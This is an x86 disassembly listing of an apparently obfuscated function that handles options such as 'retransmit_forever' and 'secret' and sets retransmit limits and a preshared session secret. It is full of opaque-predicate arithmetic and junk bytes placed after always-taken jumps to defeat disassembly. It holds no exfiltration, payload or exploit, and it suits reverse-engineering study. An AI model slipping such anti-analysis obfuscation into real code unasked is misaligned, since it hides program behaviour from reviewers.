shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x208]
fstp st(0)
jmp 0x4246fc
nop
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.retransmit_forever
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x42477d
fld1
jmp 0x42477f
fldz
fstp qword [esp + 0x7f8]
xor eax, eax
je 0x42478b
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7f8]
fstp qword [esp + 0x210]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x424877
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x424877
mov dword [esp + 0xf0], 6
jmp 0x42497f
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42497e
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x210]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xf0]
fldcw word [esp + 0x12e]
jmp 0x42497f
nop
mov edi, dword [esp + 0xf0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x4249ed
mov dword [esp], 0xffffffff
call dbg.controller_set_max_retransmits
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x7f0]
xor eax, eax
je 0x424aa6
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7f0]
fstp qword [esp + 0x218]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x424b92
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x424b92
mov dword [esp + 0xec], 6
jmp 0x424c9a
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x424c99
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x218]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xec]
fldcw word [esp + 0x12e]
jmp 0x424c9a
nop
mov edi, dword [esp + 0xec]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x425346
fld qword [0x43cbd8]
fstp qword [esp + 0x7e8]
xor eax, eax
je 0x424d0f
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7e8]
fstp qword [esp + 0x220]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x424def
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x424e8b
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x424e8a
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x220]
fstp st(0)
jmp 0x424e8b
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x7e0]
xor eax, eax
je 0x424f5c
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7e0]
fstp qword [esp + 0x228]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x425045
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x425045
mov dword [esp + 0x58], 6
jmp 0x42514a
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x425149
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x228]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x58]
fldcw word [esp + 0x12e]
jmp 0x42514a
nop
mov edi, dword [esp + 0x58]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42df41
fld qword [0x43cbe0]
fstp qword [esp + 0x7d8]
xor eax, eax
je 0x4251c5
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7d8]
fstp qword [esp + 0x230]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4252a5
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x425341
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x425340
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x230]
fstp st(0)
jmp 0x425341
nop
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.secret
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4253ba
fld1
jmp 0x4253bc
fldz
fstp qword [esp + 0x7d0]
xor eax, eax
je 0x4253c8
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7d0]
fstp qword [esp + 0x238]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4254b4
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4254b4
mov dword [esp + 0xe8], 6
jmp 0x4255bc
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4255bb
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x238]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xe8]
fldcw word [esp + 0x12e]
jmp 0x4255bc
nop
mov edi, dword [esp + 0xe8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x425633
mov eax, dword [0x4440f4]
mov dword [esp], eax
call dbg.session_set_preshared_secret
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 3
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
shl eax, 3
sub eax, edx
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x7c8]
xor eax, eax
je 0x4256ee
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7c8]
fstp qword [esp + 0x240]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4257da
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4257da
mov dword [esp + 0xe4], 6
jmp 0x4258e2
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4258e1
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x240]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xe4]
fldcw word [esp + 0x12e]
jmp 0x4258e2
nop
mov edi, dword [esp + 0xe4]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x425f90
fld qword [0x43cbe8]
fstp qword [esp + 0x7c0]
xor eax, eax
je 0x42595d
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7c0]
fstp qword [esp + 0x248]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x425a3d
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x425ad9
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x425ad8
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x248]
fstp st(0)
jmp 0x425ad9
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x7b8]
xor eax, eax
je 0x425ba8
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7b8]
fstp qword [esp + 0x250]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x425c91
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x425c91
mov dword [esp + 0x54], 6
jmp 0x425d96
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x425d95
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x250]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x54]
